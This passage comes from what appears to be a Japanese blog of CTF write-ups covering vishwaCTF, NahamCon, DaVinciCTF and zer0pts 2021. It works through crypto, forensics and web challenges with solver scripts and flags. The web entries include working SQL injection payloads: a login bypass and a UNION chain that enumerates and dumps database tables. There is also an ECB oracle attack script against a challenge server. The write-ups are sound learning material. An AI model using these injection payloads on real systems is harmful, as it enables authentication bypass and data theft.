flag = [' '] * 26

for i in range(1, 501):
    print '[+] flag =', ''.join(flag)
    url = url_format % i
    r = requests.get(url)
    if 'Useless' not in r.text:
        m = re.search(pattern, r.text)
        c = m.group(1)
        page = int(m.group(2))
        flag[page] = c

print '[*] flag =', ''.join(flag)

実行結果は以下の通り。

        :
[+] flag = vishwaCTF{r0bot_1 _t00_0P 
[+] flag = vishwaCTF{r0bot_1 _t00_0P}
[+] flag = vishwaCTF{r0bot_1 _t00_0P}
[+] flag = vishwaCTF{r0bot_1 _t00_0P}
[+] flag = vishwaCTF{r0bot_1 _t00_0P}
[+] flag = vishwaCTF{r0bot_1 _t00_0P}
[+] flag = vishwaCTF{r0bot_1 _t00_0P}
[+] flag = vishwaCTF{r0bot_1 _t00_0P}
[+] flag = vishwaCTF{r0bot_1 _t00_0P}
[+] flag = vishwaCTF{r0bot_1 _t00_0P}
[+] flag = vishwaCTF{r0bot_1 _t00_0P}
[+] flag = vishwaCTF{r0bot_1 _t00_0P}
[+] flag = vishwaCTF{r0bot_1 _t00_0P}
[+] flag = vishwaCTF{r0bot_1 _t00_0P}
[+] flag = vishwaCTF{r0bot_1 _t00_0P}
[+] flag = vishwaCTF{r0bot_1 _t00_0P}
[+] flag = vishwaCTF{r0bot_1 _t00_0P}
[+] flag = vishwaCTF{r0bot_15_t00_0P}
[+] flag = vishwaCTF{r0bot_15_t00_0P}
[+] flag = vishwaCTF{r0bot_15_t00_0P}
[+] flag = vishwaCTF{r0bot_15_t00_0P}
[+] flag = vishwaCTF{r0bot_15_t00_0P}
[+] flag = vishwaCTF{r0bot_15_t00_0P}
[+] flag = vishwaCTF{r0bot_15_t00_0P}
[+] flag = vishwaCTF{r0bot_15_t00_0P}
[+] flag = vishwaCTF{r0bot_15_t00_0P}
[+] flag = vishwaCTF{r0bot_15_t00_0P}
[*] flag = vishwaCTF{r0bot_15_t00_0P}
vishwaCTF{r0bot_15_t00_0P}

From the FUTURE (Cryptography)

Futurama Alien Alphabet。以下のページを参考に復号する。

https://omniglot.com/conscripts/futurama.htm
wearenotalone
vishwaCTF{we_are_not_alone}

NahamCon CTF 2021 Writeup

この大会は2021/3/13 5:00(JST)~2021/3/15 5:00(JST)に開催されました。
今回もチームで参戦。結果は1090点で3418チーム中937位でした。
自分で解けた問題をWriteupとして書いておきます。

esab64 (Warmups)

4バイトごとに逆にすれば、base64デコードできる。さらに3バイトごとに逆にして、パディングしている"_"を削除すると、フラグになった。

with open('esab64', 'r') as f:
    enc = f.read()

b64 = ''
for i in range(0, len(enc), 4):
    b64 += enc[i:i+4][::-1]

dec = b64.decode('base64')

flag = ''
for i in range(0, len(dec), 3):
    flag += dec[i:i+3:][::-1]

flag = flag.rstrip('_')
print flag
flag{fb5211b498afe87b1bd0db601117e16e}

Buzz (Warmups)

$ file buzz
buzz: compress'd data 16 bits
$ mv buzz buzz.Z
$ uncompress buzz.Z
$ cat buzz
flag{b3a33db7ba04c4c9052ea06d9ff17869}
flag{b3a33db7ba04c4c9052ea06d9ff17869}

Shoelaces (Warmups)

$ strings shoelaces.jpg | grep flag
flag{137288e960a3ae9b148e8a7db16a69b0}
flag{137288e960a3ae9b148e8a7db16a69b0}

Pollex (Warmups)

$ file pollex
pollex: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, description=Man giving thumb up on dark black background., software=Google], baseline, precision 8, 424x283, frames 3

https://www.dcode.fr/exif-thumbnailでサムネイルを抽出する。
f:id:satou-y:20210322204042p:plain

flag{65c34a1ec121a286600ddd48fe36bc00}

Read The Rules (Warmups)

ルールのページのHTMLソースのコメントにフラグがあった。

<!-- Thank you for reading the rules! Your flag is: -->
<!--   flag{90bc54705794a62015369fd8e86e557b}       -->
flag{90bc54705794a62015369fd8e86e557b}

eaxy (Cryptography)

1つのkeyでXORをすると、数か所に以下の形式の文字列になる。

The XOR key you used to find string this is the [数値] character index of the flag :)

この文字列を表示したときのXOR鍵が復号文字で、数値がフラグ文字列のインデックスとなるようだ。これを元にフラグを構成する。

import re

def decrypt(s, key):
    d = ''
    for c in s:
        d += chr(ord(c) ^ key)
    return d

with open('eaxy', 'rb') as f:
    data = f.read()

pattern = 'The XOR key you used to find string this is the (\d+) character index of the flag \:\)'

flag = [''] * 38
for key in range(256):
    d = decrypt(data, key)
    for m in re.finditer(pattern, d):
        index = int(m.group(1))
        flag[index] = chr(key)

flag = ''.join(flag)
print flag
flag{16edfce5c12443b61828af6cab90dc79}

Dice Roll (Cryptography)

サーバの処理概要は以下の通り。

■0. Info
・ランダム値は32bitであることを表示するだけ。

■1. Shake the dice
・32ビットランダム整数をシード設定

■2. Roll the dice (practice)
・32ビットランダム値表示

■3. Guess the dice (test)
・32ビットランダム値を推測し、一致したらフラグが表示される。

Mersenne Twisterの問題そのもの。そのままスクリプトにして実行する。

import socket
import random

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def untemper(rand):
    rand ^= rand >> 18;
    rand ^= (rand << 15) & 0xefc60000;
 
    a = rand ^ ((rand << 7) & 0x9d2c5680);
    b = rand ^ ((a << 7) & 0x9d2c5680);
    c = rand ^ ((b << 7) & 0x9d2c5680);
    d = rand ^ ((c << 7) & 0x9d2c5680);
    rand = rand ^ ((d << 7) & 0x9d2c5680);
 
    rand ^= ((rand ^ (rand >> 11)) >> 11);
    return rand

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenge.nahamcon.com', 31784))

data = recvuntil(s, 'L\n').rstrip()
print data

data = recvuntil(s, '> ')
print data + '0'
s.sendall('0\n')
data = recvuntil(s, '\n').rstrip()
print data

data = recvuntil(s, '> ')
print data + '1'
s.sendall('1\n')
data = recvuntil(s, '\n').rstrip()
print data

N = 624
state = []
for i in range(N):
    data = recvuntil(s, '> ')
    print data + '2'
    s.sendall('2\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    data = recvuntil(s, '\n').rstrip()
    print data
    state.append(untemper(int(data)))

state.append(N)
random.setstate([3, tuple(state), None])

guess = str(random.getrandbits(32))

data = recvuntil(s, '> ')
print data + '3'
s.sendall('3\n')
data = recvuntil(s, '> ')
print data + guess
s.sendall(guess + '\n')
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

              _______
   ______    | .   . |\
  /     /\   |   .   |.\
 /  '  /  \  | .   . |.'|
/_____/. . \ |_______|.'|
\ . . \    /  \ ' .   \'|
 \ . . \  /    \____'__\|
  \_____\/

      D I C E   R O L L


0. Info
1. Shake the dice
2. Roll the dice (practice)
3. Guess the dice (test)

> 0
Our dice are loaded with a whopping 32 bits of randomness!

0. Info
1. Shake the dice
2. Roll the dice (practice)
3. Guess the dice (test)

> 1
Shaking all the dice...

0. Info
1. Shake the dice
2. Roll the dice (practice)
3. Guess the dice (test)

> 2
Rolling the dice... the sum was:
457371789

    :

0. Info
1. Shake the dice
2. Roll the dice (practice)
3. Guess the dice (test)

> 2
Rolling the dice... the sum was:
3422905258

0. Info
1. Shake the dice
2. Roll the dice (practice)
3. Guess the dice (test)

> 3
Guess the dice roll to win a flag! What will the sum total be?
> 2720670169
HOLY COW! YOU GUESSED IT RIGHT! Congratulations! Here is your flag:
flag{e915b62b2195d76bfddaac0160ed3194}
flag{e915b62b2195d76bfddaac0160ed3194}

DaVinciCTF 2021 Writeup

この大会は2021/3/13 1:00(JST)~2021/3/15 1:00(JST)に開催されました。
今回もチームで参戦。結果は711点で418チーム中27位でした。
自分で解けた問題をWriteupとして書いておきます。

Authentication (Web)

以下を指定して、ログインする。

Username: ' or 1=1 -- -
Password: a

HTMLソースを見ると、フラグが書いてあった。

dvCTF{!th4t_w4s_34sy!}

Members (Web)

SQLインジェクションで攻撃する。

■ZZ" union select 1,2,True -- -

Name	Address	Payed
1	2	True

■ZZ" union select 1,schema_name,True from information_schema.schemata -- -

Name	Address	Payed
1	information_schema	True
1	lajoute	True

■ZZ" union select 1,table_name,True from information_schema.tables where table_schema = 'lajoute' -- -

Name	Address	Payed
1	members	True
1	supa_secret_table	True

■ZZ" union select 1,column_name,True from information_schema.columns where table_name = 'supa_secret_table' -- -

Name	Address	Payed
1	id	True
1	flag	True

■ZZ" union select id,flag,True from supa_secret_table -- -


Name	Address	Payed
1	dvCTF{1_h0p3_u_d1dnt_us3_sqlm4p}	True
dvCTF{1_h0p3_u_d1dnt_us3_sqlm4p}

Decode (Crypto)

uuデコードする。

enc = '''begin flag.txt
59\'9#5$9[=S-B7S-N8W)Y<#<Q,&Y]

end
'''

flag = enc.decode('uu')
print flag
dvCTF{w3b_3ncryp710n}

Bootless RSA (Crypto)

eの値が小さいので、Low Public Exponent Attackで復号する。

import json
import gmpy
from Crypto.Util.number import *

with open('bootless_rsa.json', 'r') as f:
    data = f.read()

json_data = json.loads(data)
e = json_data['e']
c = json_data['ct']
m = gmpy.root(c, e)[0]
flag = long_to_bytes(m)
print flag
dvCTF{RS4_m0dul0_inf1nity}

The more, the less (Crypto)

Nを素因数分解する。

$ python -m primefac 31599415905194296507531163994468257280886159280045654346389430217405819290199334738577568528414824952061262558727052291045816515870348057534996441596560396962516719727878569643953152119895297353348080193869479088114850667155373326828408666807238584625432868509009967976378084883283066242914464294233411627
31599415905194296507531163994468257280886159280045654346389430217405819290199334738577568528414824952061262558727052291045816515870348057534996441596560396962516719727878569643953152119895297353348080193869479088114850667155373326828408666807238584625432868509009967976378084883283066242914464294233411627: 2715012803 3898886171 3068856233 2903526499 4068148789 2823467653 3910833851 2367104263 2152978987 4014542803 3391790461 2178670709 3852924077 3165948211 2563604567 3613621433 4029819973 3592739747 3989645813 3961066927 4024893437 2989253341 3876487189 3890394553 4226418397 4130412409 2571500203 2788319507 2292487361 3035960167 2936894063 4109794417

あとはそのまま復号する。

import json
from Crypto.Util.number import *

with open('supersecret.json', 'r') as f:
    data = f.read()

json_data = json.loads(data)
N = json_data['N']
e = json_data['e']
c = json_data['ct']

ps = [2715012803, 3898886171, 3068856233, 2903526499, 4068148789, 2823467653,
    3910833851, 2367104263, 2152978987, 4014542803, 3391790461, 2178670709,
    3852924077, 3165948211, 2563604567, 3613621433, 4029819973, 3592739747,
    3989645813, 3961066927, 4024893437, 2989253341, 3876487189, 3890394553,
    4226418397, 4130412409, 2571500203, 2788319507, 2292487361, 3035960167,
    2936894063, 4109794417]

phi = 1
for p in ps:
    phi *= p - 1
d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m)
print flag
dvCTF{rs4_f4ctor1z4t10n!!!}

Flipping tables (Crypto)

$ nc challs.dvc.tf 3333
What do you want me to encrypt? 12
!E(input || flag) = d79e40d60c7b243edfcddab83f9b4c11943ea9cb6e8ec05f3d0890f044486626
What do you want me to encrypt? 12
!E(input || flag) = d79e40d60c7b243edfcddab83f9b4c11943ea9cb6e8ec05f3d0890f044486626
What do you want me to encrypt? 11
!E(input || flag) = b9d8e21a9dcfea81b4a6f46e526eb51f943ea9cb6e8ec05f3d0890f044486626

AES暗号っぽい。いろいろ試してみたが、|| の意味は結合らしい。

$ nc challs.dvc.tf 3333
What do you want me to encrypt? 11
E(input || flag) = 46271de56230157e4b590b91ad914ae06bc1563491713fa0c2f76f0fbbb799d9
What do you want me to encrypt? 1111
E(input || flag) = 8a388a50f14b80c594ff57fe7c41116c322b94a315b8f8ad9329a3df83ee4099
What do you want me to encrypt? 111111
E(input || flag) = 8449427d652613adbe17d0e3f34ad5ffc5da9bdd873ec94497f42055a1aa378b
What do you want me to encrypt? 11111111
!E(input || flag) = d8b878d9ac8b6337c8bd024eda5041c9285c62eeae837003ed5214d29f1e4ed3
What do you want me to encrypt? 1111111111
E(input || flag) = c51139c77339f310e818036105788d2c79880fc0f5dcbf6f3d1a6c21d1c76592
What do you want me to encrypt? 111111111111
!E(input || flag) = 5b8e50363f3f4edcd06e94df8b506fad35b676fbc0f34ed0d1ce1d0f5b9b6fd0
What do you want me to encrypt? 11111111111111
E(input || flag) = 8b26284e299b0322665fff2da4d054ffce600258fc4008600bc6a1aeb7ea22a0
What do you want me to encrypt? 1111111111111111
E(input || flag) = 0ea3efaef202ab81f6c71da214a5ddbbfb08b408dcc9910df47f90788438186d
What do you want me to encrypt? 1111111111111111119バイト入力
E(input || flag) = 1720e8e63e54ae45ea4eaf0435c8ac2118f77807d91f685f7c9ec14b59a479d9155075db7f6ceeafd3d4db2a44eae98048バイト
0123456789abcdef
IIIIIIIIIFFFFFFF
FFFFFFFFFFFFFFFF
PPPPPPPPPPPPPPPP

0123456789abcdef
IIIIIIIIIIIIIII?
IIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIF
FFFFFFFFFFFFFFFF
FFFFFFPPPPPPPPPP

Eの前の!の意味は何だろう?同じデータを入れてみる。

$ nc challs.dvc.tf 3333
What do you want me to encrypt? 11
E(input || flag) = 46271de56230157e4b590b91ad914ae06bc1563491713fa0c2f76f0fbbb799d9
What do you want me to encrypt? 11
E(input || flag) = 46271de56230157e4b590b91ad914ae06bc1563491713fa0c2f76f0fbbb799d9
What do you want me to encrypt? 11
!E(input || flag) = b9d8e21a9dcfea81b4a6f46e526eb51f943ea9cb6e8ec05f3d0890f044486626

どうやらビット反転したもののようだ。ただ同じ暗号文の中で比較するので、このことはあまり考える必要はない。以上を踏まえて、1文字ずつフラグをブロックからはみ出させ、暗号を比較し平文を求める。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def is_success(data):
    enc = data.split(' ')[-1]
    bl0 = enc[:32]
    bl2 = enc[64:96]
    return bl0 == bl2

INP_CHAR = '11'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.dvc.tf', 3333))

hex_flag = ''
for i in range(23):
    for code in range(32, 127):
        if i < 16:
            try_inp = INP_CHAR * (15 - i) + hex_flag + hex(code)[2:] + INP_CHAR * (31 - i)
        else:
            try_inp = hex_flag[-30:] + hex(code)[2:] + INP_CHAR * (31 - i)

        data = recvuntil(s, '? ')
        print data + try_inp
        s.sendall(try_inp + '\n')

        data = recvuntil(s, '\n').rstrip()
        print data
        if is_success(data):
            print hex(code)[2:]
            hex_flag += hex(code)[2:]

flag = hex_flag.decode('hex')
print flag

実行結果は以下の通り。

                :
What do you want me to encrypt? 43425f346e6772795f307234636c337a111111111111111111
E(input || flag) = 20ab86b4948dc09c3cd474a376f9f6731720e8e63e54ae45ea4eaf0435c8ac2118f77807d91f685f7c9ec14b59a479d9155075db7f6ceeafd3d4db2a44eae980
What do you want me to encrypt? 43425f346e6772795f307234636c337b111111111111111111
E(input || flag) = f6d3d3200bba0f9463c481e41deb7c571720e8e63e54ae45ea4eaf0435c8ac2118f77807d91f685f7c9ec14b59a479d9155075db7f6ceeafd3d4db2a44eae980
What do you want me to encrypt? 43425f346e6772795f307234636c337c111111111111111111
E(input || flag) = ddb1318dd23239632a5cf33809ac9a8c1720e8e63e54ae45ea4eaf0435c8ac2118f77807d91f685f7c9ec14b59a479d9155075db7f6ceeafd3d4db2a44eae980
What do you want me to encrypt? 43425f346e6772795f307234636c337d111111111111111111
!E(input || flag) = e70887f826e097a083613eb4a65b8626e8df1719c1ab51ba15b150fbca3753dee70887f826e097a083613eb4a65b8626eaaf8a24809311502c2b24d5bb15167f
7d
What do you want me to encrypt? 425f346e6772795f307234636c337d7e111111111111111111
!E(input || flag) = e1100d1faed652115d3d0a898b7e166de8df1719c1ab51ba15b150fbca3753dee70887f826e097a083613eb4a65b8626eaaf8a24809311502c2b24d5bb15167f
dvCTF{3CB_4ngry_0r4cl3}
dvCTF{3CB_4ngry_0r4cl3}

zer0pts CTF 2021 Writeup

この大会は2021/3/6 9:00(JST)~2021/3/7 21:00(JST)に開催されました。
今回もチームで参戦。結果は572点で951チーム中65位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (welcome)

Discordに入り、#announcementチャネルのメッセージを見ると、フラグがあった。

zer0pts{1375_4v0id_3nding_wi7h_zer0pts!}

war(sa)mup (crypto, warmup)

暗号処理の概要は以下の通り。

・p, q: 512ビット素数
・n = p * q
・phi = (p-1)*(q-1)
・e = 1337
※GCD(phi, e) は 1

・m = pad(int.from_bytes(flag, "big"), n)
 ・ms:flag
 ・ns:nの文字列化
 ・psは8文字以上で、\x00以外から構成される。
 ・"\x00\x02" + ps + b"\x00" + ms ⇒数値化して返却

・c1 = pow(m, e, n)
・c2 = pow(m//2, e, n)

mが偶数の場合は以下のことが言える。

c2 = pow(M, e, n)
c1 = pow(M*2, e, n) = (pow(M, e, n) * pow(2, e, n)) % n
   = (c2 * pow(2, e, n)) % n

計算が合わないので、mは奇数であることがわかる。

c1 = pow(M*2+1, e, n)
pow(M*2, e, n) = pow(M, e, n) * pow(2, e, n)
               = (c2 * pow(2, e, n)) % n

平文の差が1の暗号化がわかるので、Franklin-Reiter Related Message Attackで復号する。

#!/usr/bin/sage
from Crypto.Util.number import *

def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]

n = 113135121314210337963205879392132245927891839184264376753001919135175107917692925687745642532400388405294058068119159052072165971868084999879938794441059047830758789602416617241611903275905693635535414333219575299357763227902178212895661490423647330568988131820052060534245914478223222846644042189866538583089
e = 1337
c1= 89077537464844217317838714274752275745737299140754457809311043026310485657525465380612019060271624958745477080123105341040804682893638929826256518881725504468857309066477953222053834586118046524148078925441309323863670353080908506037906892365564379678072687516738199061826782744188465569562164042809701387515
c2= 18316499600532548540200088385321489533551929653850367414045951501351666430044325649693237350325761799191454032916563398349042002392547617043109953849020374952672554986583214658990393359680155263435896743098100256476711085394564818470798155739552647869415576747325109152123993105242982918456613831667423815762

C1 = c1
C2 = (c2 * pow(2, e, n)) % n
m = related_message_attack(C2, C1, 1, e, n) + 1
flag = long_to_bytes(m).split('\x00')[-1]
print flag
zer0pts{y0u_g07_47_13457_0v3r_1_p0in7}

Survey (survey)

アンケートに答えたら、フラグが表示された。

zer0pts{h0p3_u_3nj0y3d_zer0pts_CTF_2021!}